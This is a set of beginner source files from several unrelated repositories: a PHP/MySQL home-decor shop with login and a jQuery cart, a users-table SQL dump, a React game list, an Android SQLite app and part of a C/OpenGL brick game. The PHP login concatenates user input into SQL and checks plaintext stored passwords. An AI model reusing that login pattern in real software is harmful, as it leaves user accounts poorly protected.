https://firebase.google.com/docs/web/setup#available-libraries -->
<?php
include "config.php";
if(isset($_POST['login'])){
$uname = mysqli_real_escape_string($con,$_POST['user']);
$password = mysqli_real_escape_string($con,$_POST['pass']);
if ($uname != "" && $password != ""){
$sql_query = "select count(*) as cntUser from registeredusers where username='".$uname."' and password='".$password."'";
$result = mysqli_query($con,$sql_query);
$row = mysqli_fetch_array($result);
$count = $row['cntUser'];
if($count > 0){
$_SESSION['uname'] = $uname;
header('Location: index.php');
}else{
echo "Invalid username and password";
}
}
}
?>
</body>
</html><file_sep><?php
session_start();
?>
<?php require('header.inc.php') ?>
<li><a href="account.php">Myaccount </a></li>
<li><button class="btn" data-toggle="modal" data-target="#cart"><h1><i class="fas fa-shopping-cart"></i>
</h1>(<span class="total-count"></span>)</button></li>
<!-- <li><h1><i class="fas fa-shopping-cart"></i></h1></li> -->
</ul>
</div>
</nav>
<div class="row">
<div class="col-2">
<h2>Home Decore</h2>
<p><h6>Home</h6> where you loved no matter what..!!</p>
<button class="btn">Buy Now</button>
</div>
<div class="col-2">
<img src="assets/banner_img.png" >
</div>
</div>
</div>
</div>
<div class="categories">
<div class="small-container">
<div class="row">
<div class="col-3">
<img src="assets/mirror.jpg" alt="">
</div>
<div class="col-3">
<img src="assets/wallartpicture.jpeg" alt="">
</div>
<div class="col-3">
<img src="assets/stool.jpg" alt="">
</div>
</div>
</div>
</div>
<div class="small-container">
<h2 class="title">Latest Products</h2>
<div class="row">
<div class="col-4">
<img src="assets/plant.jpg" alt="">
<h4>Artificial plant</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Artificial plant" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/ceramicpot.jpg" alt="">
<h4>Ceramic Pot</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Ceramic Pot" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/d9.jpg" alt="">
<h4>Decor</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Decor" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
</div>
<h2 class="title">Featured products</h2>
<div class="row">
<div class="col-4">
<img src="assets/h4.jfif" alt="">
<h4>Wooden Sofa</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="<NAME>" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/Curtain.jpg" alt="">
<h4>Curtains</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Curtains" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/jewelarybox.jpg" alt="">
<h4><NAME></h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="<NAME>" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/decorebike.jpg" alt="">
<h4>Decor Bike</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Decor Bike" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/c4.jpg" alt="">
<h4>Carpet</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Carpet" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/d5.jpg" alt="">
<h4>Decor Product</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Decor Product" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/diya.jpg" alt="">
<h4>Diya</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Diya" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/wallclock2.jpg" alt="">
<h4>Wall Clock</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 12,499</p>
<span></span>
<button data-name="Wall Clock" data-price="12499" class="add-to-cart">Add to cart</button>
</div>
<div class="col-4">
<img src="assets/pillow2.jpg" alt="">
<h4>Pillow</h4>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half" ></i>
<i class="fa fa-star-o" ></i>
</div>
<p>₹ 1000</p>
<span></span>
<button data-name="Pillow" data-price="1000" class="add-to-cart">Add to cart</button>
</div>
</div>
</div>
<div class="select">
</div>
<div class="offer">
<div class="small-container">
<div class="row">
<div class="col-2">
<img src="assets/exclsive.jpeg" class="offer-img">
</div>
<div class="col-2">
<p>GET 50% OFF TODAY!!</p>
<h1>Digital Clock</h1>
<small>You will find the key to success under the clock.</small>
<a href="" class="btn">Buy Now</a>
</div>
</div>
</div>
</div>
<div class="testimonial">
<div class="small-container">
<div class="row">
<div class="col-3">
<i class="fa fa-quote-left"></i>
<p> Display Time, Data Week and Temperature. Glowing LED with white color. Support 12-hour and 24-hour time format, calendar, temperature and alarm. Alarm and sleeping funition Package ( Packed Safety in Retail Box )</p>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<img src="assets/user-1.jpg" alt="">
<h3><NAME></h3>
</div>
<div class="col-3">
<i class="fa fa-quote-left"></i>
<p> Display Time, Data Week and Temperature. Glowing LED with white color. Support 12-hour and 24-hour time format, calendar, temperature and alarm. Alarm and sleeping funition Package ( Packed Safety in Retail Box )</p>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<img src="assets/user-2.jpg" alt="">
<h3><NAME></h3>
</div>
<div class="col-3">
<i class="fa fa-quote-left"></i>
<p> Display Time, Data Week and Temperature. Glowing LED with white color. Support 12-hour and 24-hour time format, calendar, temperature and alarm. Alarm and sleeping funition Package ( Packed Safety in Retail Box )</p>
<div class="ratings">
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star" ></i>
<i class="fa fa-star-half-o" ></i>
<i class="fa fa-star-o" ></i>
</div>
<img src="assets/user-3.jpg" alt="">
<h3>alfiya lobo</h3>
</div>
</div>
</div>
</div>
<div class="brands">
<div class="small-container">
<div class="row">
<div class="col-5">
<img src="assets/brand-1.png" alt="">
</div>
<div class="col-5">
<img src="assets/brand-2.png" alt="">
</div>
<div class="col-5">
<img src="assets/brand-3.png" alt="">
</div>
<div class="col-5">
<img src="assets/brand-4.png" alt="">
</div>
</div>
</div>
</div>
<!-- model -->
<div class="modal fade" id="cart" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Cart</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<table class="show-cart table">
</table>
<div>Total price: ₹<span class="total-cart"></span></div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
<button type="button" class="btn btn-primary">Order now</button>
</div>
</div>
</div>
</div>
<div class="footer">
<div class="container">
<div class="row">
<div class="footer-col-1">
<h3>Download our app</h3>
<p>Download Our app for android and ios</p>
<div class="aoo-logo">
<img src="assets/play-store.png" alt="">
<img src="assets/app-store.png" alt="">
</div>
</div>
<div class="footer-col-2">
<img src="assets/logo.png">
<p>kjkkhuyngb</p>
</div>
<div class="footer-col-3">
<h3>Quick links</h3>
<ul>
<li>About</li>
<li>Blog post</li>
<li>Contact</li>
<li>Wishlist</li>
</ul>
</div>
<div class="footer-col-4">
<h3>Follow us</h3>
<ul>
<li>Facebook</li>
<li>Twitter</li>
<li>Instagram</li>
<li>Linkedin</li>
</ul>
</div>
</div>
<hr>
<p class="copyright">Copyright © 2020-meghana</p>
</div>
</div>
<script>
const toggleButton = document.getElementsByClassName('toggle-button')[0]
const navbarLinks = document.getElementsByClassName('navbar-links')[0]
toggleButton.addEventListener('click', () => {
navbarLinks.classList.toggle('active')
})
var shoppingCart = (function() {
// =============================
// Private methods and propeties
// =============================
cart = [];
// Constructor
function Item(name, price, count) {
this.name = name;
this.price = price;
this.count = count;
}
// Save cart
function saveCart() {
sessionStorage.setItem('shoppingCart', JSON.stringify(cart));
}
// Load cart
function loadCart() {
cart = JSON.parse(sessionStorage.getItem('shoppingCart'));
}
if (sessionStorage.getItem("shoppingCart") != null) {
loadCart();
}
// =============================
// Public methods and propeties
// =============================
var obj = {};
// Add to cart
obj.addItemToCart = function(name, price, count) {
for(var item in cart) {
if(cart[item].name === name) {
cart[item].count ++;
saveCart();
return;
}
}
var item = new Item(name, price, count);
cart.push(item);
saveCart();
}
// Set count from item
obj.setCountForItem = function(name, count) {
for(var i in cart) {
if (cart[i].name === name) {
cart[i].count = count;
break;
}
}
};
// Remove item from cart
obj.removeItemFromCart = function(name) {
for(var item in cart) {
if(cart[item].name === name) {
cart[item].count --;
if(cart[item].count === 0) {
cart.splice(item, 1);
}
break;
}
}
saveCart();
}
// Remove all items from cart
obj.removeItemFromCartAll = function(name) {
for(var item in cart) {
if(cart[item].name === name) {
cart.splice(item, 1);
break;
}
}
saveCart();
}
// Clear cart
obj.clearCart = function() {
cart = [];
saveCart();
}
// Count cart
obj.totalCount = function() {
var totalCount = 0;
for(var item in cart) {
totalCount += cart[item].count;
}
return totalCount;
}
// Total cart
obj.totalCart = function() {
var totalCart = 0;
for(var item in cart) {
totalCart += cart[item].price * cart[item].count;
}
return Number(totalCart.toFixed(2));
}
// List cart
obj.listCart = function() {
var cartCopy = [];
for(i in cart) {
item = cart[i];
itemCopy = {};
for(p in item) {
itemCopy[p] = item[p];
}
itemCopy.total = Number(item.price * item.count).toFixed(2);
cartCopy.push(itemCopy)
}
return cartCopy;
}
// cart : Array
// Item : Object/Class
// addItemToCart : Function
// removeItemFromCart : Function
// removeItemFromCartAll : Function
// clearCart : Function
// countCart : Function
// totalCart : Function
// listCart : Function
// saveCart : Function
// loadCart : Function
return obj;
})();
// *****************************************
// Triggers / Events
// *****************************************
// Add item
$('.add-to-cart').click(function(event) {
event.preventDefault();
var name = $(this).data('name');
var price = Number($(this).data('price'));
shoppingCart.addItemToCart(name, price, 1);
displayCart();
});
// Clear items
$('.clear-cart').click(function() {
shoppingCart.clearCart();
displayCart();
});
function displayCart() {
var cartArray = shoppingCart.listCart();
var output = "";
for(var i in cartArray) {
output += "<tr>"
+ "<td>" + cartArray[i].name + "</td>"
+ "<td>₹" + cartArray[i].price + "</td>"
+ "<td><div class='input-group'><button class='minus-item input-group-addon btn btn-primary' data-name=" + cartArray[i].name + ">-</button>"
+ "<input type='number' class='item-count form-control' data-name='" + cartArray[i].name + "' value='" + cartArray[i].count + "'>"
+ "<button class='plus-item btn btn-primary input-group-addon' data-name=" + cartArray[i].name + ">+</button></div></td>"
+ "<td><button class='delete-item btn btn-danger' data-name=" + cartArray[i].name + ">X</button></td>"
+ " = "
+ "<td>₹" + cartArray[i].total + "</td>"
+ "</tr>";
}
$('.show-cart').html(output);
$('.total-cart').html(shoppingCart.totalCart());
$('.total-count').html(shoppingCart.totalCount());
}
// Delete item button
$('.show-cart').on("click", ".delete-item", function(event) {
var name = $(this).data('name')
shoppingCart.removeItemFromCartAll(name);
displayCart();
})
// -1
$('.show-cart').on("click", ".minus-item", function(event) {
var name = $(this).data('name')
shoppingCart.removeItemFromCart(name);
displayCart();
})
// +1
$('.show-cart').on("click", ".plus-item", function(event) {
var name = $(this).data('name')
shoppingCart.addItemToCart(name);
displayCart();
})
// Item count input
$('.show-cart').on("change", ".item-count", function(event) {
var name = $(this).data('name');
var count = Number($(this).val());
shoppingCart.setCountForItem(name, count);
displayCart();
});
displayCart();
</script>
</body>
</html><file_sep>-- phpMyAdmin SQL Dump
-- version 5.0.3
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: Dec 05, 2020 at 04:26 AM
-- Server version: 10.4.14-MariaDB
-- PHP Version: 7.4.11
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `registration`
--
-- --------------------------------------------------------
--
-- Table structure for table `registeredusers`
--
CREATE TABLE `registeredusers` (
`username` varchar(100) NOT NULL,
`email` varchar(200) NOT NULL,
`password` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
--
-- Dumping data for table `registeredusers`
--
INSERT INTO `registeredusers` (`username`, `email`, `password`) VALUES
('meghana', '<EMAIL>', '<PASSWORD>'),
('meghana1409', '<EMAIL>', '<PASSWORD>');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `registeredusers`
--
ALTER TABLE `registeredusers`
ADD PRIMARY KEY (`username`(12)),
ADD UNIQUE KEY `unique` (`email`(10));
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep>#e-commerce website
This is my first e-commerce website
In this website i have shown product as home decore products.
|
7d0b50e53d2d101920dd8ef89893337bebf3c531
|
[
"Markdown",
"SQL",
"PHP"
] | 4 |
PHP
|
Meghana1409/project
|
c21e3b76d3afed47cb2243837b50956fff0d0504
|
1a9adad92bbe68abbb730d57b0da83b13c14fd52
|
refs/heads/main
|
<repo_name>tatjama/ignite<file_sep>/src/components/Game.js
import React from 'react';
//Styled and Animation
import styled from 'styled-components';
import {motion} from 'framer-motion';
//Redux
import {useDispatch} from 'react-redux';
import {loadDetail} from '../actions/detailAction';
const Game = ({name, released, id, platforms, image }) => {
const dispatch = useDispatch();
const loadGameHandler = () => {
dispatch(loadDetail(id))
}
return(
<StyledGame onClick = {loadGameHandler} >
<h3>{name}</h3>
<h3>{released}</h3>
<h3>Id: {id}</h3>
{/*<h3>Platform: {platforms.map(platform => {
return(
<div key={platform.platform.id}>
{platform.platform.name}
</div>
)
})}</h3>*/}
<img src = {image} alt = {name}/>
</StyledGame>
)
}
const StyledGame = styled(motion.div)`
min-height: 30vh;
box-shadow: 0px 5px 20px rgba(0, 0, 0, 0.2);
border-radius: 1rem;
text-align: center;
img{
width: 100%;
height: 40vh;
object-fit: cover;
}
`
export default Game<file_sep>/src/pages/Home.js
import React , {useEffect} from 'react';
//REDUX
import {useDispatch, useSelector} from 'react-redux';
import {loadGames} from '../actions/gamesAction';
//components
import Game from '../components/Game';
//Style and animations
import styled from 'styled-components';
import {motion} from 'framer-motion';
const Home = () => {
const dispatch = useDispatch();
useEffect(
() =>{
dispatch(loadGames());
},[dispatch]
)
const {popular, newGames, upcoming} = useSelector(state =>state.games)
return(
<GameList>
<h2>Upcoming games</h2>
<Games>
{upcoming.map((game) => {
return <Game
key = {game.id}
id = {game.id}
name = {game.name}
released = {game.released}
platforms = {game.platforms}
image = {game.background_image}
/>
})
}
</Games>
<h2>Popular Games</h2>
<Games>
{popular.map((game) => {
return <Game
key = {game.id}
id = {game.id}
name = {game.name}
released = {game.released}
platforms = {game.platforms}
image = {game.background_image}
/>
})
}
</Games>
<h2>New Games</h2>
<Games>
{newGames.map((game) => {
return <Game
key = {game.id}
id = {game.id}
name = {game.name}
released = {game.released}
platforms = {game.platforms}
image = {game.background_image}
/>
})
}
</Games>
</GameList>
)
}
const GameList = styled(motion.div)`
padding: 0rem 5rem;
h2{
padding: 5rem 0rem;
}
`
const Games = styled(motion.div)`
display: grid;
grid-template-columns: repeat(auto-fit, minmax(500px, 1fr));
grid-column-gap: 3rem;
grid-row-gap: 5rem;
`
export default Home;
|
0bf22e76d2ee4d32e2041ff5e04413f1cb1a8d63
|
[
"JavaScript"
] | 2 |
JavaScript
|
tatjama/ignite
|
edfd4a01d98afe1fb670dbc64f6819a2616b9f03
|
ff5f1585e4e286cf765b3d4e831a3a19533a17b9
|
refs/heads/master
|
<repo_name>Shahadeochavan/MYAPPLICATION<file_sep>/app/src/main/java/com/nextech/myschool/login/Login.java
package com.nextech.myschool.login;
import android.content.res.Configuration;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.TextView;
import com.nextech.myschool.R;
import com.nextech.myschool.TabLayoutActivity;
import com.nextech.myschool.register.Register;
import java.util.Locale;
public class Login extends AppCompatActivity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate( savedInstanceState );
// setting default screen to login.xml
setContentView( R.layout.activity_login );
TextView registerScreen = (TextView) findViewById( R.id.btnRegister );
// Listening to register new account link
registerScreen.setOnClickListener( new View.OnClickListener() {
public void onClick(View v) {
// Switching to Register screen
Intent intent = new Intent( getApplicationContext(), Register.class );
startActivity( intent );
}
} );
TextView login = (TextView) findViewById( R.id.btnLogin );
login.setOnClickListener( new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent intent = new Intent( getApplicationContext(), TabLayoutActivity.class );
startActivity( intent );
}
} );
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate( R.menu.menu_main, menu );
return true;
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case R.id.action_settings:
String languageToLoad = "en"; // your language
Locale locale = new Locale(languageToLoad);
Locale.setDefault(locale);
Configuration config = new Configuration();
config.locale = locale;
getBaseContext().getResources().updateConfiguration(config,
getBaseContext().getResources().getDisplayMetrics());
this.setContentView(R.layout.activity_login);
break;
case R.id.actins_mr:
languageToLoad = "mr"; // your language
locale = new Locale(languageToLoad);
Locale.setDefault(locale);
config = new Configuration();
config.locale = locale;
getBaseContext().getResources().updateConfiguration(config,
getBaseContext().getResources().getDisplayMetrics());
this.setContentView(R.layout.activity_login);
break;
case R.id.actins_hn:
languageToLoad = "hi"; // your language
locale = new Locale(languageToLoad);
Locale.setDefault(locale);
config = new Configuration();
config.locale = locale;
getBaseContext().getResources().updateConfiguration(config,
getBaseContext().getResources().getDisplayMetrics());
this.setContentView(R.layout.activity_login);
break;
case R.id.actins_fr:
languageToLoad = "fr"; // your language
locale = new Locale(languageToLoad);
Locale.setDefault(locale);
config = new Configuration();
config.locale = locale;
getBaseContext().getResources().updateConfiguration(config,
getBaseContext().getResources().getDisplayMetrics());
this.setContentView(R.layout.activity_login);
break;
case R.id.actins_es:
languageToLoad = "es"; // your language
locale = new Locale(languageToLoad);
Locale.setDefault(locale);
config = new Configuration();
config.locale = locale;
getBaseContext().getResources().updateConfiguration(config,
getBaseContext().getResources().getDisplayMetrics());
this.setContentView(R.layout.activity_login);
break;
default:
break;
// If we got here, the user's action was not recognized.
// Invoke the superclass to handle it.
}
return super.onOptionsItemSelected( item );
}
}
<file_sep>/app/src/main/java/com/nextech/myschool/PagerAdapter.java
package com.nextech.myschool;
import android.support.v4.app.Fragment;
import android.support.v4.app.FragmentManager;
import android.support.v4.app.FragmentStatePagerAdapter;
import com.nextech.myschool.SQLite.UserListMyschool;
public class PagerAdapter extends FragmentStatePagerAdapter {
int mNumOfTabs;
public PagerAdapter(FragmentManager fm, int NumOfTabs) {
super(fm);
this.mNumOfTabs = NumOfTabs;
}
@Override
public Fragment getItem(int position) {
switch (position) {
case 0:
HomePage home = new HomePage();
return home;
case 1:
UserList userIcon = new UserList();
return userIcon;
case 2:
Map locationIcon = new Map();
return locationIcon;
case 3:
UserListMyschool userListMyschool=new UserListMyschool();
return userListMyschool;
default:
return null;
}
}
@Override
public int getCount() {
return mNumOfTabs;
}
}<file_sep>/app/src/main/java/com/nextech/myschool/SQLite/SQLiteHelper.java
package com.nextech.myschool.SQLite;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;
import android.util.Log;
import com.nextech.myschool.UserContact;
import java.util.ArrayList;
import java.util.List;
/**
* Created by welcome on 8/4/2016.
*/
public class SQLiteHelper extends SQLiteOpenHelper {
private static final int DATABASE_VERSION = 1;
public static final String DATABASE_NAME = "SQLiteDatabase.db";
public SQLiteHelper(Context context) {
super(context, DATABASE_NAME, null, DATABASE_VERSION);
}
public static final String TABLE_NAME = "USERLIST";
public static final String COLUMN_ID = "ID";
public static final String COLUMN_FIRST_NAME = "FIRST_NAME";
public static final String COLUMN_MOBILE = "MOBILE_NUMBER";
@Override
public void onCreate(SQLiteDatabase db) {
db.execSQL("create table " + TABLE_NAME + " ( " + COLUMN_ID + " INTEGER PRIMARY KEY AUTOINCREMENT," + COLUMN_FIRST_NAME + " VARCHAR, " + COLUMN_MOBILE + " VARCHAR);");
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
db.execSQL("DROP TABLE IF EXISTS " + TABLE_NAME);
onCreate(db);
}
public void addUser(UserContact userContact)
{
SQLiteDatabase db=this.getWritableDatabase();
ContentValues values = new ContentValues();
values.put(COLUMN_FIRST_NAME, userContact.getName());
long count = db.insert(TABLE_NAME,null,values);
Log.d("Database","Count of insert : " + count);
db.close();
values.put(COLUMN_MOBILE, userContact.getNumber());
}
public UserContact getUserContact(int id) {
SQLiteDatabase db = this.getReadableDatabase();
Cursor cursor = db.query(TABLE_NAME, new String[]{COLUMN_ID ,
COLUMN_FIRST_NAME, COLUMN_MOBILE}, COLUMN_ID + "=?",
new String[]{String.valueOf(id)}, null, null, null, null);
if (cursor != null)
cursor.moveToFirst();
UserContact contact = new UserContact(Integer.parseInt(cursor.getString(0)),
cursor.getString(1), cursor.getString(2));
return contact;
}
public List<UserContact> getAllUserContact() {
List<UserContact> userList;
userList = new ArrayList<UserContact>();
String selectQuery = "SELECT * FROM " + TABLE_NAME;
SQLiteDatabase db = this.getWritableDatabase();
Cursor cursor = db.rawQuery(selectQuery, null);
if (cursor.moveToFirst()) {
do {
UserContact user = new UserContact();
user.setId(Integer.parseInt(cursor.getString(0)));
user.setName(cursor.getString(1));
user.setNumber(cursor.getString(2));
userList.add(user);
} while (cursor.moveToNext());
}
return userList;
}
public int updateUserContact(UserContact userContact) {
SQLiteDatabase db = this.getWritableDatabase();
ContentValues values = new ContentValues();
values.put(COLUMN_FIRST_NAME, userContact.getName());
values.put(COLUMN_MOBILE, userContact.getNumber());
// updating row
return db.update(TABLE_NAME, values, COLUMN_ID+ " = ?",
new String[]{String.valueOf(userContact.getId())});
}
public void deleteUserContact(UserContact userContact) {
SQLiteDatabase db = this.getWritableDatabase();
db.delete(TABLE_NAME, COLUMN_ID + " = ?",
new String[] { String.valueOf(userContact.getId()) });
db.close();
}
}<file_sep>/app/src/main/java/com/nextech/myschool/SQLite/UserListMyschool.java
package com.nextech.myschool.SQLite;
import android.os.Bundle;
import android.support.v4.app.Fragment;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import com.nextech.myschool.R;
import com.nextech.myschool.UserContact;
import java.util.List;
/**
* Created by welcome on 8/4/2016.
*/
public class UserListMyschool extends Fragment {
public UserListMyschool() {
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View rootView = inflater.inflate(R.layout.fragment_user_list_myschool, container, false);
SQLiteHelper sqLiteHelper = new SQLiteHelper(getContext());
Log.d("Insert: ", "Inserting ..");
sqLiteHelper.addUser(new UserContact(1, "Shahadeo", "9403633306"));
sqLiteHelper.addUser(new UserContact(2, "Mahadeo", "9403633296"));
sqLiteHelper.addUser( new UserContact(3, "Anil","4563214111" ) );
Log.d("Reading:", "Reading all userList.");
List<UserContact> userContacts=sqLiteHelper.getAllUserContact();
Log.d("Insert ", "Inserting ..");
for (UserContact userContact : userContacts) {
String log = "Id" + userContact.getId() + "Name"+ userContact.getName() + "Number" + userContact.getNumber();
Log.d("UserContact: : ", log);
}
return rootView;
}
}
|
fba084fd46fb1bc72b7ca7da8f928da45e5f919a
|
[
"Java"
] | 4 |
Java
|
Shahadeochavan/MYAPPLICATION
|
8b4c90e19327153e0ce206db9a0edda5ff7ea188
|
6192c5d42c7da2ed1389ab6a6172b9e53f606b22
|
refs/heads/master
|
<repo_name>Sameer-H-S/Projects<file_sep>/BrickHunt.c
#include<iostream>
#include<stdlib.h>
#include<time.h>
#include<string.h>
#include<GL/glut.h>
#include<windows.h>
using namespace std;
const int brickcount = 10;
float brickx[brickcount], bricky[brickcount], brickxdir[brickcount], brickydir[brickcount];
bool brickalive[brickcount];
float cursorx, cursory;
int score;
char buffer[10];
void initgame()
{
srand(time(NULL));
score = 0;
for (int i = 0; i <= brickcount - 1; i++)
{
brickalive[i] = true;
brickx[i] = rand() % 640;
bricky[i] = rand() % 350;
if (rand() % 2 == 0)
brickxdir[i] = 1;
else
brickxdir[i] = -1;
if (rand() % 2 == 0)
brickydir[i] = 1;
else
brickydir[i] = -1;
}
}
void shoot(int button, int state, int x, int y)
{
if (button == GLUT_LEFT_BUTTON && state == GLUT_DOWN)
{
for (int i = 0; i <= brickcount - 1; i++)
{
if (brickalive[i])
{
if (x > brickx[i] - 15 && x < brickx[i] + 15 && y < bricky[i] + 10 && y > bricky[i] - 10)
{
score = score + 5;
brickalive[i] = false;
}
}
}
}
}
void setcursor(int x, int y)
{
cursorx = x;
cursory = y;
}
void drawcursor()
{
glBegin(GL_LINE_LOOP);
glColor3f(1, 1, 1);
glVertex2f(cursorx - 5, cursory - 5);
glVertex2f(cursorx - 5, cursory + 5);
glVertex2f(cursorx + 5, cursory + 5);
glVertex2f(cursorx + 5, cursory - 5);
glVertex2f(cursorx - 5, cursory - 5);
glEnd();
glBegin(GL_LINES);
glColor3f(1, 1, 1);
glVertex2f(cursorx - 10, cursory);
glVertex2f(cursorx + 10, cursory);
glEnd();
glBegin(GL_LINES);
glColor3f(1, 1, 1);
glVertex2f(cursorx, cursory - 10);
glVertex2f(cursorx, cursory + 10);
glEnd();
//glutSwapBuffers();
}
void drawbrick()
{
for (int i = 0; i <= brickcount - 1; i++)
{
if (brickalive[i] == true)
{
if (brickx[i] - 10 < 0 || brickx[i] + 10 > 640)
{
brickxdir[i] = -brickxdir[i];
}
if (bricky[i] - 5 < 0 || bricky[i] + 5 > 360)
{
brickydir[i] = -brickydir[i];
}
brickx[i] = brickx[i] + brickxdir[i];
bricky[i] = bricky[i] + brickydir[i];
glBegin(GL_QUADS);
glColor3f(0.5, 0, 0.05);//color for moving bricks
glVertex2f(brickx[i] - 15, bricky[i] - 10);
glVertex2f(brickx[i] - 15, bricky[i] + 10);
glVertex2f(brickx[i] + 15, bricky[i] + 10);
glVertex2f(brickx[i] + 15, bricky[i] - 10);
glEnd();
}
else
{
if (bricky[i] < 360)
{
bricky[i] = bricky[i] + 0.5;
}
glBegin(GL_QUADS);
glColor3f(1, 0, 0);//color for dead bricks
glVertex2f(brickx[i] - 15, bricky[i] - 10);
glVertex2f(brickx[i] - 15, bricky[i] + 10);
glVertex2f(brickx[i] + 15, bricky[i] + 10);
glVertex2f(brickx[i] + 15, bricky[i] - 10);
glEnd();
}
}
}
void drawground()
{
glBegin(GL_QUADS);
glColor3f(0, 0.5, 0);
glVertex2f(0, 360);
glVertex2f(0, 480);
glVertex2f(640, 480);
glVertex2f(640, 360);
glEnd();
}
char str2[10];
